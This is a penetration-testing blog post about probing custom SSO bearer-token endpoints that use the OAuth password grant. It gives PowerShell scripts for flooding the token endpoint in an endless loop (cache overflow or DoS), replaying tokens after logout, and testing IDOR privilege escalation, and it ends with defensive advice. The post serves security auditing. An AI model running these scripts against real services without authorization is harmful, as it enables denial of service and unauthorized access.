> For the complete documentation index, see [llms.txt](https://blog.joeminicucci.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://blog.joeminicucci.com/2020/basic-exploitation-of-sso-access-tokens.md).

# Basic Exploitation of SSO Access Tokens

## Access & Bearer Tokens

Bearer tokens and OAuth were originally invented to provide a framework and context for cross-site site authorization. This offered a granular programming interface for access control of resources across trust relationships on the web. Grant types were implemented as different paradigms for authorization scenarios arose across different use cases & devices. Subsets of OAuth functionality were siphoned off and are, likely at the damnation of [the RFC](https://tools.ietf.org/html/rfc6750), implemented in sub-capacities of OAuth's functional purpose. [Thus the password grant type was born](https://tools.ietf.org/html/rfc6749#section-1.3.3). I often find custom SSO implementations that implement the bearer Token Endpoint using the password grant type via a simple HTTP POST with the username and password in the body as an authentication method. In the eyes of the developer, they gain the benefits, e.g. token & session management functionality, for free without the need to implement a more complex grant type model. This also makes security testing easier, and this post deals with some simple exploits & lapses in defense to check for on a pentest or security audit.

## Testing Security Functionality

When I find a convenient token authorization endpoint in my HTTP traffic logs on a pentest, I often focus on session management and make presumptions as to what a custom implementation might be doing under the hood from a data structure perspective. I built the following Powershell template for testing bearer token endpoints, which will be described in the sections following:

```bash
function Get-Bearer
{


    Param
    (
        [Parameter(Position = 0, 
            Mandatory=$true)]
        [ValidateNotNullOrEmpty()]
        [String]
        $TokenUri,
        [Parameter(Position = 1)]
        [String]
        $Body = "",
        [Parameter(Position = 2)]
        [ValidateNotNullOrEmpty()]
        [String]
        $ContentType = "application/x-www-form-urlencoded"

    )
    try
    {
        [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
        $method = [Microsoft.PowerShell.Commands.WebRequestMethod]::"POST"
        $URI = [System.Uri]::new($TokenUri)
        $hostName = ($URI.Host) -replace '^www\.'
        $maximumRedirection = [System.Int32] 0
        $headers = [System.Collections.Generic.Dictionary[string,string]]::new()
        $headers.Add("Host", $hostName)
        $headers.Add("Accept", "application/json")
        $Body += "

        "
        $response = (Invoke-WebRequest -Method $method -Uri $URI -MaximumRedirection $maximumRedirection -Headers $headers -ContentType $contentType -Body $Body)
    }

    catch [System.SystemException]
    {
        Write-Error $_ -ErrorAction Stop
    }

    $bearerToken = ($response.Content | ConvertFrom-Json).access_token
    return $bearerToken
}

function Get-AuthenticatedResource
{


    Param
    (
        [Parameter(Position = 0,
            Mandatory=$true)]
        [ValidateNotNullOrEmpty()]
        [String]
        $TargetUri,
        
        [Parameter(Position = 1, 
            Mandatory=$true)]
        [ValidateNotNullOrEmpty()]
        [String]
        $Token,
        
        [Parameter(Position = 3)]
        [ValidateNotNullOrEmpty()]
        [String]
        $ContentType = "application/x-www-form-urlencoded"
    )

    try
    {

    [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
    $method = [Microsoft.PowerShell.Commands.WebRequestMethod]::"GET"
    $URI = [System.Uri]::new($TargetUri)
    $maximumRedirection = [System.Int32] 1
    $hostName = ($URI.Host) -replace '^www\.'
    $headers = [System.Collections.Generic.Dictionary[string,string]]::new()
    $headers.Add("Host", $hostName)
    $headers.Add("Authorization", "Bearer " + $Token)

    $response = (Invoke-WebRequest -Method $method -Uri $URI -MaximumRedirection $maximumRedirection -Headers $headers -ContentType $ContentType)
    }

    catch [System.SystemException]
    {
        Write-Error $_ -ErrorAction Stop
    }
    return $response
}
```

### Cache Overflows

This is by far one of the easiest flaws to find in custom SSO business logic. Fundamentally, developers tend to make assumptions about sessions such as:

* Total users they presume will be using a given application at any given time
* Users are facilitating normal session flow volumes

Thinking back to the early 2000's, [SYN floods](https://en.wikipedia.org/wiki/SYN_flood) were used to DoS routers & network appliances which, simply put, was caused by a failure to evict outstanding TCP SYN negotiations and manage memory properly for the caches which track TCP state.&#x20;

Session management can exhibit similar shortcomings. For example, caches that are constructed in memory with a simple data structure rather than scale-aware memory managed structures could potentially allow for an attacker to tie up a worker thread on a server, or amplify a DoS/DDoS attack if the server utilizes session layer thread-pooling without proper load balancing in the infrastructure.

One solution I have seen commonly adopted is to utilize a distributed performance cache such as [ehcache](https://www.ehcache.org/), which uses [a FIFO to evict entries](https://www.ehcache.org/documentation/2.8/apis/cache-eviction-algorithms.html), within its configuration parameters.

While the cache overflow may not always exhibit a DoS condition, continually requesting tokens is a great way to see if their is any rate-limiting in place, both on the application code and encapsulating infrastructure. Furthermore, the cache deadlock condition could be used as a temporary persistence mechanism if target sessions were not subject to a timeout or eviction. Those sessions could be leveraged in further client-side attacks such as [Session Fixation](https://owasp.org/www-community/attacks/Session_fixation).&#x20;

#### Exploitation

Using the [template above](/2020/basic-exploitation-of-sso-access-tokens.md#testing-security-functionality), add the following Powershell invocation, after tuning the body request to suit your target:

```bash
DO{
    
    Start-Job -ScriptBlock{
    Write-Host "Retrieving Bearer Token..." -ForegroundColor red -BackgroundColor blue
    $bearerToken = Get-Bearer -TokenUri "https://example.com/protocol/openid-connect/token"`
    -Body "client_id=example-client&username=user@skiddie.com&password=Password123!&grant_type=password&scope=openid"
    $bearerToken
    }

}
While (1)
```

{% hint style="success" %}
Implementing this in a multi-threaded context would provide a nice improvement in the future
{% endhint %}

### Session Replay

Session replay is a simple test to ensure that the OAuth/OIDC logout endpoint is implemented correctly, and doesn't allow for an expired token to be used again. This is an important defense-in-depth measure as it ensures that tokens, should they be cached, cannot be compromised in any number of ways including (but not limited to):

* Physical Access
* Browser Exploits
* Trojans

#### Exploitation

This can be performed with the following Powershell invocation (again requiring your own tuning), which gets a token, makes an authenticated request for privileged resources, hits the expiration endpoint, and then again attempts to make the same authenticated request:

```bash
Write-Host "Retrieving Bearer Token..." -ForegroundColor red -BackgroundColor blue
$bearerToken = Get-Bearer -TokenUri "https://example.com/protocol/openid-connect/token"`
-Body "client_id=example-client&username=user@skiddie.com&password=Password123!&grant_type=password&scope=openid"
#$bearerToken

Write-Host "Making Request.." -ForegroundColor red -BackgroundColor blue
$response = Get-AuthenticatedResource -TargetUri "https://example.com/userprofiles/?first=0&max=11"`
    -Token $bearerToken
#$response | Select-Object -ExpandProperty RawContent
$response.StatusCode


Write-Host "Initiating Token Expiration.." -ForegroundColor red -BackgroundColor blue
$response = Get-AuthenticatedResource -TargetUri "https://example.com/protocol/openid-connect/logout?redirect_uri=https%3A%2F%2Fexample.com%2F%23%2Fusers"`
    -Token $bearerToken
#$response | Select-Object -ExpandProperty RawContent
$response.StatusCode

Write-Host "Making Request with Expired Bearer Token.." -ForegroundColor red -BackgroundColor blue
$response = Get-AuthenticatedResource -TargetUri "https://example.com/userprofiles/?first=0&max=11"`
    -Token $bearerToken
#$response.StatusCode
$response | Select-Object -ExpandProperty RawContent
```

### IDOR

Another easy win is to test for IDOR, in which a user is able to escalate his or her privileges by simply requesting a high-privilege resource with a low-privilege token context.

#### Exploitation

```bash
Write-Host "Retrieving Bearer Token..." -ForegroundColor red -BackgroundColor blue
$bearerToken = Get-Bearer -TokenUri "https://example.com/protocol/openid-connect/token"`
-Body "client_id=example-client&username=low_priv_user@skiddie.com&password=Password123!&grant_type=password&scope=openid"
#$bearerToken

Write-Host "Making High Privilege Request.." -ForegroundColor red -BackgroundColor blue
$response = Get-AuthenticatedResource -TargetUri "https://example.com/authenticatedResource"`
    -Token $bearerToken
#$response | Select-Object -ExpandProperty RawContent
$response.StatusCode
```

## Conclusions & Defense

It is never a good idea to roll your own SSO, but if the enterprise at large demands it be sure that proper protective measures are taken to ensure proper application-level access management, data structure implementations, and session management configurations. Perform periodic & comprehensive reviews of all source code, and most importantly [instrument a DevSecOps pipeline](https://www.sans.org/security-resources/posters/cloud/cloud-security-devsecops-practices-200) to continuously ensure security practices as part of the development process. Be sure that the code is compliant with industry standards such as [RFC 6750](https://tools.ietf.org/html/rfc6750), and the [OIDC specifications](https://openid.net/developers/specs/) if relevant to the organization. If available, replace legacy SSO implementations with pre-built, [industry approved libraries](https://oauth.net/code/) for your specific stack.

## References

{% embed url="<https://oauth.net/2/grant-types/>" %}

{% embed url="<https://oauth.net/2/bearer-tokens/>" %}

{% embed url="<https://tools.ietf.org/html/rfc6750>" %}

{% embed url="<https://developer.okta.com/blog/2018/06/29/what-is-the-oauth2-password-grant>" %}

{% embed url="<https://www.ehcache.org/documentation/2.8/apis/cache-eviction-algorithms.html>" %}
